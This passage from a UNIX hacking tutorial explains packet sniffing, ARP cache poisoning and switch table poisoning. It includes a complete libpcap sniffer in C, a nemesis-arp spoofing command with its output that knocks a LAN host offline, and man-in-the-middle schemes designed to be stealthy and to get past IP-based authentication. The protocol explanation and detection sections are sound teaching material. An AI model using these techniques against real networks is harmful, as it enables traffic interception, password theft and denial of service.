The structure ether_header{} is defined in net/ethernet.h. If we know the size of the ethernet header we can add that to the value in `packet' (the pointer) after which we point to the IP header. The struct IP perfectly matches the fields in the IP Header. Now we can read out the IP header values through the structure without worrying about where every IP field is located. We can use this to write a simple header sniffer.

*{*

*To make a password sniffer, you have to find out where in the packet the username and password will be for the various protocols you want to sniff*

*}*

Sadly, not all operating systems and hardware architectures work the same way. Some architectures have a different byte ordering and operating system have different means of using raw sockets. Luckily there is a library called `libpcap'; the packet capturing library. It works on many UNIX-like systems. You can make portable programs that use raw sockets with it.

*{*

*Portable means that the program can be built on different kinds of operating systems and computer architectures (intel, sparc, powerpc etc.).*

*}*

Although I don't want to write a pcap tutorial, I will write a simplified header sniffer. Tutorials on programming with pcap can be found on http://www.tcpdump.org/. If you are not a programmer, then you shouldn't worry if you don't understand any of this code. This code is just a sample skeleton code, it is only usable to try out some things. If you are a programmer I think you can write a complete sniffer after reading this code.

There are much better sniffers around. Like ethereal (http://www.ethereal.com) that also use libpcap. And the tcpdump source itself is a good read.

```
-- begin husniffer.c --
/*
 * sniffer for Hacking UNIX by detach [http://www.duho.org/]
 *
 * Compile: gcc -o husniff husniff.c -lpcap
 * Run: ./husniff [filter expression]
 * Example: ./husniff 'port 23'
 *
 */

#include <stdio.h>
#include <getopt.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/ether.h>
#include <netinet/if_ether.h>
#include <netinet/IP.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/IP_icmp.h>
#include <arpa/inet.h>
#include <pcap.h>

enum boole {
 FALSE,
 TRUE
};
```

```
#define IPv 4

void
proc_icmp( const u_char *packet, int eth_len, int IP_len )
{
   struct icmphdr *icptr;

   icptr = (struct icmphdr*) (packet+eth_len+IP_len);

   switch (icptr->type)
   {
      case ICMP_ECHOREPLY:
         printf("Echo Reply\n");
         break;
      case ICMP_DEST_UNREACH:
         printf("Destination Unreachable: ");
        switch(icptr->code)
         {
            case ICMP_NET_UNREACH:
              printf("Net Unreachable\n");
              break;
            case ICMP_HOST_UNREACH:
              printf("Host Unreachable\n");
              break;
            case ICMP_PROT_UNREACH:
              printf("Protocol Unreachable\n");
              break;
            case ICMP_PORT_UNREACH:
              printf("Port Unreachable\n");
              break;
            case ICMP_FRAG_NEEDED:
              printf("Fragmentation needed\n");
              break;
            case ICMP_SR_FAILED:
              printf("Source route failed\n");
              break;
            case ICMP_NET_UNKNOWN:
              printf("Net Unknown\n");
              break;
            case ICMP_HOST_UNKNOWN:
              printf("Host Unknown\n");
              break;
            case ICMP_HOST_ISOLATED:
              printf("Host Isolated\n");
              break;
            case ICMP_NET_ANO:
              printf("Access to network prohibited\n");
              break;
            case ICMP_HOST_ANO:
              printf("Access to host prohibited\n");
              break;
            case ICMP_NET_UNR_TOS:
              printf("Net Unreachable for that Type Of Service\n");
              break;
            case ICMP_HOST_UNR_TOS:
              printf("Host Unreachable for that Type Of Service\n");
              break;
            case ICMP_PKT_FILTERED:
              printf("Packet filtered\n");
              break;
            case ICMP_PREC_VIOLATION:
              printf("Precedence violation\n");
              break;
            case ICMP_PREC_CUTOFF:
              printf("Precedence cut off\n");
              break;
            default:
              printf("Unknown code for this ICMP message type!\n");
         }
         break;
      case ICMP_SOURCEQUENCH:
         printf("Source Quench\n");
         break;
      case ICMP_REDIRECT:
         printf("Redirect\n");
         switch(icptr->code)
         {
            case ICMP_REDIR_NET:
               printf("Redirect Net\n");
               break;
            case ICMP_REDIR_HOST:
               printf("Redir Host\n");
               break;
            case ICMP_REDIR_NETTOS:
               printf("Redirect Net for TOS\n");
               break;
            case ICMP_REDIR_HOSTTOS:
               printf("Redir Host for TOS\n");
            default:
               printf("Unknown code for this ICMP message type!\n");
         }
         break;
      case ICMP_ECHO:
         printf("Echo Request\n");
         break;
      case ICMP_TIME_EXCEEDED:
         printf("Time Exceeded: ");
         switch( icptr->code )
         {
            case ICMP_EXC_TTL:
               printf ("TTL exceeded\n");
               break;
            case ICMP_EXC_FRAGTIME:
               printf ("Fragment reassembly exceeded\n");
               break;
            default:
               printf("Unknown code for this ICMP message type!\n");
         }
         break;
      case ICMP_PARAMETERPROB:
         printf("Parameter Problem\n");
         break;
      case ICMP_TIMESTAMP:
         printf("Time Stamp\n");
         break;
      case ICMP_TIMESTAMPREPLY:
         printf("Time Stamp Reply\n");
         break;
      case ICMP_INFO_REQUEST:
         printf("Info Request\n");
         break;
      case ICMP_INFO_REPLY:
         printf("Info Reply\n");
         break;
      case ICMP_ADDRESS:
         printf("Address Mask Request\n");
         break;
      case ICMP_ADDRESSREPLY:
         printf("Address Mask Reply\n");
         break;
      default:
         printf("Unknown ICMP Type[%d]\n", icptr->type);
   }
}

void
proc_pkt( u_char *args, const struct pcap_pkthdr *header, const u_char *packet )
{
   char *data;
   struct tcphdr *tptr;
   struct udphdr *uptr;
   struct IP *iptr;
   struct ether_header *eptr;
   struct in_addr *ap;
   int tcp_len = sizeof( struct tcphdr );
   int udp_len = sizeof( struct udphdr );
   int  IP_len = sizeof( struct IP  );
   int eth_len = sizeof( struct ether_header );

   /* ethernet header */
   eptr = (struct ether_header*)(packet);

   if (header->caplen < sizeof(struct ether_header))
   {
      fprintf( stderr, "Truncated packet!\n" );
      return;
   }

   /* Only IP packets */
   /* Add ARP, RARP support yourself */
   if (ntohs(eptr->ether_type)==ETHERTYPE_IP)
   {
      printf("IP[%d]", header->len);
      iptr = (struct IP*)(packet+eth_len);
      /* do some here */
   }
   else
      return;

   if (iptr->IP_v != IPv)
   {
      fprintf( stderr, "Unknown IP version %d", iptr->IP_v );
      return;
   }

   printf(" [ src; %s ", inet_ntoa(iptr->IP_src));
   printf("dst; %s ] :", inet_ntoa(iptr->IP_dst));

   /* switch to the appropriate protocol handler */
   switch(iptr->IP_p)
   {
    case IPPROTO_IP:
      printf(" -> DUMMY");
      break;
    case IPPROTO_IGMP:
      printf(" -> IGMP\n");
      /* do some here */
      break;
    case IPPROTO_ICMP:
      printf(" -> ICMP: ");
      proc_icmp(packet, eth_len, IP_len);
      break;
    case IPPROTO_UDP:
      printf(" -> UDP\n");
      /* do some here */
      break;
    case IPPROTO_TCP:
      printf(" -> TCP\n");
      /* do some here */
      break;
    default:
      printf(" -> UNKNOWN[%d]\n", iptr->IP_p);
      break;
   }
}

int
main( int argc, char **argv )
{
   char *dev, /* device name */
        errbuf[PCAP_ERRBUF_SIZE];
   pcap_t *handler; /* pointer to packet capture descriptor */
   struct bpf_program filter; /* compiled filter */
   char *app; /* uncompiled filter */
   bpf_u_int32 net,
               mask;

   if (argc<2)
   {
      fprintf( stderr, "No filter set, sniffing all!\n");
      app=NULL;
   }
   else
      app = strdup(argv[1]);
   dev = pcap_lookupdev( errbuf );
   if (dev==NULL)
   {
      fprintf( stderr, "%s\n", errbuf );
      exit( 1 );
   }
   printf( "Using device: %s\n", dev );
   if (pcap_lookupnet( dev, &net, &mask, errbuf ) ==-1)
   {
      fprintf( stderr, "%s\n", errbuf );
      exit( 1 );
   }

   /* open device promisc mode */
   handler = pcap_open_live(dev, BUFSIZ, TRUE, 0, errbuf);
   if (handler==NULL)
   {
      fprintf( stderr, "%s\n", errbuf );
      exit( 1 );
   }

   /* compile filter */
   if (pcap_compile( handler, &filter, app, FALSE, net ) ==-1)
   {
      fprintf( stderr, "ERROR: %s\n", pcap_geterr( handler ));
      exit( 1 );
   }

   /* apply filter */
   if (pcap_setfilter(handler, &filter)==-1)
   {
      fprintf( stderr, "ERROR: %s\n", pcap_geterr( handler ));
      exit( 1 );
   }

   /* capture packets, handle with proc_pkt() function */
   pcap_loop(handler, -1, &proc_pkt, NULL);

   pcap_close(handler);

   exit( 0 );
}
-- end husniffer.c --
```

If you don't want to use libpcap you have to write OS-dependent code. Check the IP, tcp, ether etc. manpages of your OS. For example in Linux you can read IP(7) etc. It is always good to read these man pages.

### 5.2.3 Sniffer detection

Even though sniffing is a passive `attack', sniffers can often be detected locally and remotely.

#### 5.2.3.1 Local

Often a sniffer will set the network device to promiscuous mode. With the ifconfig command one can see if a device is in promiscuous mode:

```
# ifconfig xl0   # example on openbsd
xl0: flags=8943<UP,BROADCAST,RUNNING,PROMISC,SIMPLEX,MULTICAST> mtu 1500
        address: 00:01:02:00:00:00
        media: Ethernet 10baseT (10baseT half-duplex)
        inet 10.0.0.1 netmask 0xffffff00 broadcast 10.0.0.255
       inet6 fe80::201:2ff:fe0b:36ea%xl0 prefixlen 64 scopeid 0x2
#
```

If you read the line with "flags=" you will see "PROMISC" there which indicates the device is in promiscuous mode. Of course, there is no hacker that doesn't use some method to hide the promiscuous flag of the interface, so the method is not reliable. The hacker could have patched the ifconfig program, the kernel or used an LKM to hide this information.

#### 5.2.3.2 Remote

To detect a sniffer remotely you can think of trying to detect if the interface is in promiscuous mode too. What is difference does promiscuous mode make?  -> The kernel receives all packets

This causes more load on the system because the network card will generate a lot of hardware interrupts. So sniffer detection programs can for example first ping the target system, then the detection program floods the target with packets using a different MAC address than the target has. If the device were in promiscuous mode this will give extra load. Then the detection program pings again and if responses are slow it would indicate the network device is in promiscuous mode.

One other method I discuss is the common feature in sniffers to do IP address or hostname address lookups. When the sniffer receives packets from some host it tries to lookup the IP address and/or hostname of the sender (source MAC). What happens if a sniffer detection program sends packets with an non-existing source MAC address to the broadcast address? The host with the sniffer might generate a Reverse ARP request. Or, when the host has a spoofed, non-existing source IP address and it tries to do a DNS lookup on it, this would indicate a sniffer too.

There are more techniques to find out if a device is in promiscuous mode, but this isn’t a security tutorial :).

## 5.3. Sniffing switched networks

### 5.3.1 Introduction

Sniffing on switched networks should be a little harder than on non-switched networks. In this chapter I will discuss a few techniques to sniff traffic that you are not supposed to see.

### 5.3.2 ARP poisoning

#### 5.3.2.1 ARP Introduction

ARP poisoning is a very easy and effective technique. ARP (Address Resolutions Protocol) is a layer 3 protocol like RARP, IP and Xerox PUP. They live on top of the link layer. In the ethernet header there is the field `protocol type', this field contains a 16-bit protocol ID. When the ethernet module receives a packet destined to it's address it will read the protocol ID and give the packet (stripped from the ethernet header) to the corresponding layer 3 module. For example 0800h for IP. In Linux the net/ethernet.h header file contains this information:

```
/* Ethernet protocol ID's */
#define ETHERTYPE_PUP           0x0200          /* Xerox PUP */
#define ETHERTYPE_IP            0x0800          /* IP */
#define ETHERTYPE_ARP           0x0806          /* Address resolution */
#define ETHERTYPE_REVARP        0x8035          /* Reverse ARP */
```

The ethernet header might look like this:

```
00 80 48 00 00 00  <- destination ethernet address (6 bytes; 48 bit)
00 01 02 00 00 00  <- source ethernet address (6 bytes; 48 bit)
08 00              <- protocol type `IP' (2 bytes; 16 bit)
```

You now know the position of the ARP in the OSI model:

```
--------------------
| ARP              |
-------------------- <- layer 3
| Ethernet Link    |
-------------------- <- layer 2
| Physical network |
-------------------- <- layer 1
```

Note that "Physical network" is just the ethernet frame being transmitted on the wire before it reaches the ethernet module of the kernel. In case of Ethernet it can be 10Base2 (thin-net), 10BaseT and 100BaseT (UTP), 10Base5 (thick-net). But who cares because this layer we won't have to deal with.

The ethernet link, or simply the Link Layer is the logical link between two systems on the same local network. The physical layer doesn't see separate connections.

You are probably wondering where ARP is for. It is a multi protocol address resolution protocol. Let me explain this. I have showed you three different layer 3 protocols. You find IP and PUP there, but there are more protocols like DECNET and such. All these protocols share one problem. When one of these protocols wants to send a packet, all these protocols need to translate their protocol-specific address (like an IP address) to the MAC address. Instead of having all these protocols (like IP) implement their own implementations of resolvers ARP was developed.

When, for example, IP wants to send a packet but doesn't know the address of the destination, it calls the ARP module to look it up for 'm. The ARP module looks up the IP address in the ARP cache table but doesn't find an entry. It drops the packet and sends out an ARP Request to the broadcast address. The packet being broadcasted causes the packet to reach every host in the LAN. Only the host with the corresponding IP address is supposed to reply. The requester receives the ARP reply packet and ARP saves the MAC address along with it's corresponding IP address and a timestamp in it's MAC table cache. Now the IP module tries to resend the packet, and now the packet can be send.

The next time the IP wants to sent a packet to that host, the ARP will have the answer available. Every once in a while the ARP will want to refresh the entry to see if it's still valid, this is called `aging'. It sends a request for all entries and updates the entry's and adds a new time stamp.

ARP has another property, and I'll paste that from the ARP RFC #826:

```
---
... if A has some reason to talk to B, then B will probably have some reason to talk to A.  Notice
also that if an entry already exists for the <protocol type, sender protocol address> pair, then the
new hardware address supersedes the old one ...
---
```

This of course means that if we (host A) just send an ARP request to another host B, then host B will add us to it's ARP table because it assumes we want to communicate. The bonus for us is that if host A is already in it's table, it will simply overwrite the entry. This means that we can simply change any entry in host B's ARP table.

The specification also mentions that when host B receives an ARP reply - even if it did not send an ARP request - it will not waste the chance to update it's table with the received information. This way the timestamp is renewed, and it will take some time before the entry is renewed.

### 5.3.2.2 ARP table poisoning

Over 10 years ago when they specified the ARP protocol, security wasn't really thought of. All these decisions were made based on sparing bandwidth.

You can understand that by spoofing the ARP packets you cause a host to modify or add the entry which causes layer 3 addresses to be resolved to the wrong MAC addresses. All caused by simply by sending forged ARP replies or requests stating that you are the host with the IP of the other end. This is of course how the ARP poisoning technique takes advantage of.
With ARP spoofing we can intercept traffic of a connection between two hosts.
Consider this scheme:

```
          |----------|          |----------|          |----------|
          |  Host A  |----------|  Switch  |----------|  Host B  |
          |----------|          |----------|          |----------|
           192.168.0.1               |                 192.168.0.2
       00:20:AF:00:00:00             |             00:01:02:00:00:00
                                |----------|
                                |  Host C  |
                                |----------|
                                 192.168.0.3
                              02:60:8c:00:00:00
                               (attacker host)
```

Say that Host B wants to initiate a TCP connection with Host A. Host B does not yet have the MAC address of Host A in it's ARP table. Before the connection is initiated Host C sends an ARP Reply packet with the following ARP Header (simplified):

```
  |---------------------------------------------|
  | Destination: 00:01:02:00:00:00 (HB)         |
  | Source: 02:60:8c:00:00:00 (HC)              | <- Ethernet Header
  | Type: 0806h (ARP)                           |
  |---------------------------------------------|
  | Type Opcode: 0x0002 (ARP Reply)             |
  | Sender MAC address: 02:60:8c:00:00:00 (HC) | <- ARP Header
  | Sender IP address: 192.168.0.1 (HA)         |
  | Target MAC address: 00:01:02:00:00:00 (HB) |
  | Target IP address: 192.168.0.2 (HB)         |
  |---------------------------------------------|
```

Note: details on the ARP header will be detailed later

Such a packet could cause Host B to think that host with IP number 192.168.0.1 (Host A) has MAC address 02:60:8c:00:00:00 (Host C) which will result in Host B sending packets to Host C when it really wants to send them to host A. Also note that this kind of attack can easily be used for denial of service. For example you could flood a host with spoofed ARP reply's with nonexisting `Sender MAC' addresses.

Most ARP's in the various operating systems will add this MAC/IP pair to the ARP cache table upon receipt of an ARP reply, but not all. Most ARP's don't remember if they asked for the ARP Reply or not or don't care and just add it to the table. But a little more intelligent are the ones that only store such information when there is a real clue that the source of the incoming packet wants to communicate with them. For example Linux tries that. Like I said before, if we send an ARP request to the host we want to poison we could still get it's cache (or table) poisoned, because that host sees that the source host has a clear interest in having it's address and expects a new connection soon. For this we send a spoofed ARP request with these properties:

```
  |--------------------------------------------|
  | Destination: 00:01:02:00:00:00 (HB)        |
  | Source: 02:60:8c:00:00:00 (HC)             | <- Ethernet Header
  | Type: 0806h (ARP)                          |
  |--------------------------------------------|
  | Type Opcode: 0x0001 (ARP Request)          |
  | Sender MAC address: 02:60:8c:00:00:00 (HC) |
  | Sender IP address: 192.168.0.1 (HA)        | <- ARP Header
  | Target MAC address: 00:01:02:00:00:00 (HB) |
  | Target IP address: 192.168.0.2 (HB)        |
  |--------------------------------------------|
```

The receiving ARP module gets the request and replies to what it thinks is IP 192.168.0.1, but in reality is Host C (192.168.0.3).. it assumes that 192.168.0.1 will soon connect to it's system so it seems okay to store the MAC/IP pair of 00:60:8c:00:00:00/192.168.0.1 in it's cache. Well, Host A (192.168.0.1) doesn't contact him but the user on it's system wants to connect to Host A. So the ethernet module calls ARP and asks if it knows about IP 192.168.0.1, and clever ARP is happy to find it's MAC in the table. The ethernet frame will be addressed to MAC address 00:60:8c:00:00:00 which really is Host C.

Now you are probably asking: "But how can I sniff a connection that cannot be established?". Good one, that is being discussed later in this part about "Man In The Middle Attack".

And now you probably want some time to play. Well first I think you deserve some more theory about ARP ;-).

Here's what a complete ARP Request header looks like:

```
----
00 01 - 2 byte hardware type (0001h = ethernet)
08 00 - 2 byte protocol type (0800h = IP)
06    - 1 byte hardware address length (06h stands for 6 bytes (ethernet))
04    - 1 byte protocol address length (04h stands for 4 bytes (IP))
00 01 - 2 byte opcode (0001h is `request')
02 60 8c 00 00 00 - 6 byte sender MAC address
c0 a8 00 01 - 4 byte sender IP address (c0a80001h = 192.168.0.1)
00 01 02 00 00 00 - 6 byte target MAC address
c0 a8 00 02 - 4 byte target IP address (c0a80002h = 192.168.0.2)
----
```

An ARP reply has the same format, only the opcode is 0002h (reply).

We see some new fields in this complete header which weren't really important for understanding the attack methodology, but they are important to understand ARP. I explained that ARP is used to resolve layer 3 protocol addresses. To make ARP layer 3 protocol independent it has a field `protocol type' and `protocol address length'. These fields are important to be able to handle ARP packets for different types of layer 3 protocols.

#### 5.3.2.3 DoS

Now you are ready for some real hacking. We are going to poison someone’s cache, please use some system you have access to so you can see the effects. Go to your Unix system and download the Nemesis program from http://www.packetfactory.net/.

```
----
At the moment of writing nemesis version 1.32 does not support the latest Libnet version (1.1).
So if it doesn't compile, that is probably the problem. This is a work-around:
Download Libnet version 1.0.2a (or another 1.0 version) in your home directory. Now download Nemesis
1.32 to your home directory. Change your working directory to ~/Libnet-1.0.2a and type:
```

```
./configure && make
Do not type 'make install'!
Now go to your nemesis directory. Type './configure'.
If that worked open "./Makefile" in your favorite editor.
Go to the line with 'CFLAGS=' (at line 41 in my Makefile) and change the line to:
CFLAGS   =   -Wall   -O3   -funroll-loops   -fomit-frame-pointer   -pipe   -I~/Libnet-1.0.2a/include
-I/usr/local/include
Now go to the next line which should be 'LIBS ='.. change it to:
       LIBS = -L~/Libnet-1.0.2a/lib -L/usr/local/lib -lpcap -lnet
Okay if you done everything right, nemesis will now link to Libnet
1.0x and should compile. Complete with; `make && make install'.
----
```

Okay I hope you all managed to install nemesis.

Let's do a sample denial of service attack. Telnet or SSH to another system in your network. Find out the MAC address of that system. My remote system was Linux so I did "ifconfig eth0" and found the MAC 00:20:AF:2E:C5:3E. Now open another term and issue this nemesis command (requires root):

```
# nemesis-arp -v -S <local IP> -D <remote IP> -h 00:00:00:00:00:00 -m <remote MAC> -T -d eth1 -H
00:00:00:00:00:00 -M <remote MAC>
```

Now your remote host should be non-responsive for some time... check it in your other term, your telnet or ssh session must be hanging for a short period.
My local IP address is 10.0.0.1 and my remote IP address that I have an SSH session with is 10.0.0.20, look at this:

```
----
# nemesis-arp -v -S 10.0.0.1 -D 10.0.0.20 -h 00:00:00:00:00:00 -m 00:20:AF:2E:C5:3E -T -d eth1 -H
00:00:00:00:00:00 -M 00:20:AF:2E:C5:3E

ARP/RARP Packet Injection -=- The NEMESIS Project 1.32
Copyright (C) 1999, 2000, 2001 Mark Grimes <obecian@packetninja.net>
Portions copyright (C) 2001 Jeff Nathan <jeff@wwti.com>

ARP REQUEST

[IP]  10.0.0.1 > 10.0.0.20
[MAC] 00:01:02:0B:36:EA > 00:20:AF:2E:C5:3E
Wrote 42 byte ARP packet through linktype 1

ARP Packet Injected
#
----
```

Why did it hang? Well let's watch the tcpdump (sniffer) output on my other vterm:

```
----
# tcpdump -I eth1 -v
tcpdump: listening on eth1
00:07:20.312987 arp reply 10.0.0.1 (0:0:0:0:0:0) is-at 0:0:0:0:0:0
----
```

Very well, host 10.0.0.1 sent an ARP reply with MAC address spoofed!
Well let's see if it had worked: See the arp command output on the remote host (10.0.0.20):

```
----
# arp
Address             HWtype  HWaddress           Flags Mask        Iface
10.0.0.1            ether   00:00:00:00:00:00   C                 eth0
#
----
```

Yes! The host simply overwrites the address.
Okay.. now let's send a ping packet (ICMP Echo Request) from 10.0.0.20
(after poisoning arp table) to 10.0.0.1 (firewall) and record it with
tcpdump on 10.0.0.1 (I have a hubbed LAN):
** Pay attention to the time stamps..
** The -e switch enabled link layer information to be printed
** Ohyeah `fuck' is the hostname of 10.0.0.20, I couldn't come up with
** anything original back then :)

```
----
# tcpdump -I eth1 -e -v
tcpdump: listening on eth1
11:25:52.827366 0:20:af:2e:c5:3e 0:0:0:0:0:0 IP 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84)
11:25:53.824663 0:20:af:2e:c5:3e 0:0:0:0:0:0 IP 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84)
11:25:54.824680 0:20:af:2e:c5:3e 0:0:0:0:0:0 IP 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84)
                                         *** (and 26 more of these packets)

11:26:19.824612 0:20:af:2e:c5:3e 0:0:0:0:0:0 arp 60: arp who-has 10.0.0.1 tell fuck
11:26:19.825345 0:20:af:2e:c5:3e 0:0:0:0:0:0 IP 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84)
11:26:20.824629 0:20:af:2e:c5:3e 0:0:0:0:0:0 arp 60: arp who-has 10.0.0.1 tell fuck
11:26:20.825364 0:20:af:2e:c5:3e 0:0:0:0:0:0 IP 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84)
11:26:21.824644 0:20:af:2e:c5:3e 0:0:0:0:0:0 arp 60: arp who-has 10.0.0.1 tell fuck
11:26:21.825379 0:20:af:2e:c5:3e 0:0:0:0:0:0 IP 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84)
11:26:22.824659 0:20:af:2e:c5:3e Broadcast arp 60: arp who-has 10.0.0.1
tell fuck11:26:22.824682 0:1:2:b:36:ea 0:20:af:2e:c5:3e arp 42: arp reply 10.0.0.1 is-at 0:1:2:0:0:0
11:26:22.825719 0:20:af:2e:c5:3e 0:1:2:0:0:0 IP 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84)
11:26:22.825799 0:1:2:0:0:0 0:20:af:2e:c5:3e IP 98: 10.0.0.1 > fuck: icmp: echo reply (ttl 64, id 27574, len 84)
11:26:23.825146 0:20:af:2e:c5:3e 0:1:2:0:0:0 IP 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84)
11:26:23.825228 0:1:2:0:0:0 0:20:af:2e:c5:3e IP 98: 10.0.0.1 > fuck: icmp: echo reply (ttl 64, id 27575, len 84)

43 packets received by filter
0 packets dropped by kernel
#
----
```

Cool uh? It takes awhile before host 10.0.0.20 gives up and sends out the ARP request. Also note that 10.0.0.20 first sent 3 ARP Request's but to the hardware address 00:00:00:00:00:00, so 10.0.0.1 doesn't read the packet! Then the fourth time 10.0.0.20 decides to broadcast the packet, and then 10.0.0.1 does read the packet and sends the ARP reply. This means that if we send a spoofed ARP reply about every 5 seconds, it will go on forever. Let's see the output of ping on the 10.0.0.20 box:

```
----
$ ping 10.0.0.1
PING 10.0.0.1 (firewall): 56 octets data
64 octets from 10.0.0.1: icmp_seq=30 ttl=64 time=1.5 ms
64 octets from 10.0.0.1: icmp_seq=31 ttl=64 time=1.3 ms
64 octets from 10.0.0.1: icmp_seq=32 ttl=64 time=1.3 ms
~etcetera
```

```
--- 10.0.0.1 ping statistics ---
37 packets transmitted, 7 packets received, 81% packet loss
round-trip min/avg/max = 1.3/1.3/1.5 ms
$
----
```

What do you see? I see that the icmp_seq starts at 30. So the first reply we got from 10.0.0.1 was after 31 packets! (seq starts with 0). PING – by default - sends a packet each second, so it took about 30 seconds until ARP renewed it's entry for 10.0.0.1 on this Linux 2.4.18 box.

### 5.3.2.4 ARP Man in the Middle

So how can ARP poisoning help us to sniff a system? If we poison their tables, the packets do not arrive at the destination so there won't be communication and nothing to sniff! I think you figured it out yourself.. we forward the packets to the real destination. For that we poison the destination's arp table too... then all communication will go through us, we will be like a gateway. This is called "Man in the Middle" attack (MITM).
For MITM we make ourselves a gateway between to hosts using ARP poisoning. See the scheme:

```
        |--------|        |--------|       |--------|
        | Host A [--------] Switch |-------] Host B |
        |--------|        |----_---|       |--------|
               \                |            /
                 \        |----^---|       /
                   \ _ _ _| Hacker |_ _ _/
                          |--------|

                                           \_ _ = packet route
```

The hacker poisons the table of Host A to change the entry of Host B to the address of host `Hacker'. And he poisons the table of Host B to change  the entry of Host A to the address of host `Hacker'. Host `Hacker' forwards all packets, working like a gateway while sniffing all data. It is also possible for host `Hacker' to manipulate the data before it forwards it.

There is a very good tool that uses this method, it's called Ettercap and you can get it here: http://ettercap.sourceforge.net/

### 5.3.2.4 Detection

It is not that hard to detect the ARP poisoning. A program can monitor the network for suspicious ARP activity. It is however not easy to protect against this, if a host supports ARP it should be vulnerable.

## 5.3.3 Switch table poisoning

### 5.3.3.1 Switch introduction

The ARP poisoning technique was not really an attack against the switch itself, but some host on the LAN. The technique I'm going to introduce now is directed at the switch. I have first read about this technique in phrack magazine issue 57 article 6. From the article a software project called `taranis' was created and still exists at http://www.bitland.net/taranis/.

This technique is just as easy as the ARP poisoning technique. To explain the technique I will first introduce you to how switches work.
A switch is used to connect multiple computers, networks or other networked devices to one internet. The switch has a port for each connector where a wire is plugged in. The wire can connect the switch to another switch or some host's network card. The switch forwards network packets at the link layer (layer 2). This is the difference between a switch and a hub. The hub forwards packets at the physical level, which means that a hub is not intelligently forwarding the packets to the right port. The switch - working at layer 2 - reads the MAC addresses of each packet to know where to send the packet to. When the MAC address is unknown, the

packet will be send to all ports. The switch knows where each host is because it learns this. Say there is a host on the first port of the switch, when it sends out it's first packet the switch reads the layer-2 source address and adds it to it's lookup table. The next time another computer sends out a packet to this address the switch sends the packet to the first port. When there are more network addresses on one port, the switch marks the entry as hub/switch

#### 5.3.3.2 Switch redirection

Knowing this you could have noticed two possible vulnerabilities:

* what if the table is full (assuming the amount of entries is not arbitrary), then the switch might forgot where some of the hosts are located and send all packets to all ports;
* we can probably spoof our source address so that packets destined to some other host arrive at our system

They both work most of the time, there are some security measures in some better switch products though. The first method turns the switch into a hub but may result in DoS because of the load, - not really stealth. When using this technique we can just flood the LAN with packets with random sources which causes the switch to behave like a hub, and we can run a normal sniffer to capture all packets.

The second method is discussed in the phrack article and allows for some password sniffing. The method is not really useful for man-in-the-middle attack, only impersonation of our victim's target host.

*{*

> *A man-in-the-middle attack requires us to work like a gateway. But how can we send packets to the host we impersonate when we have redirected it's traffic at the switch to our self?*

*}*

The advantage over the ARP method is that this method makes all other hosts connected to the same switch a victim. That is, the switch where the attacker is connected to is poisoned, so all connection attempts to the host the attacker has redirected are redirected to the attacker by the switch.

#### 5.3.3.3 Man in the Middle

A man-in-the-middle attack is still possible, although I haven't tested it. When our victim (10.0.0.2) tries to connect to the redirected host (10.0.0.1) we can keep the data in a buffer and then reset the switch port using a broadcasted ARP request destined to 10.0.0.1 of the system we impersonate. When that system replies, the switch will update it's CAM table and we can send the data in the buffer to 10.0.0.1, we wait for response and store it in the buffer, then we re-redirect the traffic of 10.0.0.1 to us again and send the data in the buffer to the victim, and so on. See the figure below for the illustration of the situation.

```
 10.0.0.1                            10.0.0.2
|--------|        |----------|        |--------|
| target |--------|  switch  |--------| victim |
|--------|        |----------|        |--------|
                       |
                       |
                   10.0.0.3
                  |----------|
                  | attacker |
                  |----------|
```

The method does not seem very reliable, it will at least be slow and can result in timeouts. Also, if 10.0.0.1 starts to talk while the victim is sending data to us the switch may update the table and packets may arrive at 10.0.0.1 causing 10.0.0.1 to send connection resets and the attacker must restore the redirection state again etc.

*{*

> *Not that connection resets will kill our connection, but then we must regain the redirection state while 10.0.0.1 is sending packets.*

*}*

In the phrack article the author(s) mention this idea for man-in-the-middle attack and they too think it is not very reliable.

However, I think it is possible to make a reliable man-in-the-middle attack in some cases. I have searched google to see if anyone else has found a reliable technique to do this but came up with nothing. So here it goes:

The problem we faced when redirecting traffic to 10.0.0.1 is that we need to constantly reset/redirect the traffic in the switch. In some scenario's though, it is possible to make a man-in-the-middle attack without having to reset the switch, just keep it redirected. I will illustrate a scenario where we have a victim named `victim' that wants to connect to a host named `server', here's the drawing:

```
                  10.0.0.4
                ++++++++++++
                +  BOX 2   +
                ++++++_+++++
   10.0.0.1           |                          10.0.0.2
  ++++++++++    ++++++^+++++    ++++++++++++    ++++++++++
  + server [----] switch 1 [----] switch 2 [----] victim +
  ++++++++++    ++++++++++++    ++++++_+++++    ++++++++++
                                      |
                                ++++++^+++++
                                +   BOX 1  +
                                ++++++++++++
                                  10.0.0.3

                                 [ BOX 1 and 2 are owned by the attacker ]
```

This illustration looks better huh :>.

Now, I know this situation will not often be there, but say that the attacker owns BOX 1, connected to switch 2 and he owns BOX 2 connected to switch 1.
What does this situation help in a man-of-the middle? Well, it solves our problem. We create a tool that poisons the lookup table of switch 2 to redirect all traffic destined to host 10.0.0.1 (server) to our BOX 1. BOX 1 has a TCP connection with BOX 2 that runs the other end of the hacker's program. As soon as victim tries to connect to server the traffic redirects to BOX 1, BOX 1 sends the data received from victim over a TCP connection to BOX 2 (along with details of destination port etc. using a custom protocol). BOX 2 connects to server (10.0.0.1) on the exact same port that host 10.0.0.2 (victim) wanted to and sends the data it received from BOX 1 over the connection. BOX 2 receives the reply from the server (10.0.0.1) and communicates this over to BOX 1 which in turn communicates it to victim (10.0.0.2).

This may look very complex, but it is not. The only difference between this situation and the one discussed before is that we now have two switches and two hosts owned by the attacker. Instead of one gateway we use two hosts to form one gateway or you could say we have two gateways now. In this way in this scenario we don't have to reset switch 2 all the time. The method is quite reliable.

To make the above method more stealth the hacker can also redirect victim's address (10.0.0.2) to BOX 2 (10.0.0.4) at switch 1 to make a fully-spoofed connection, the address `10.0.0.2' shows up in the server's logs and we can circumvent any extra IP-address based authentication. Isn't that wonderful! This technique is very stealth and probably pretty reliable and fast.

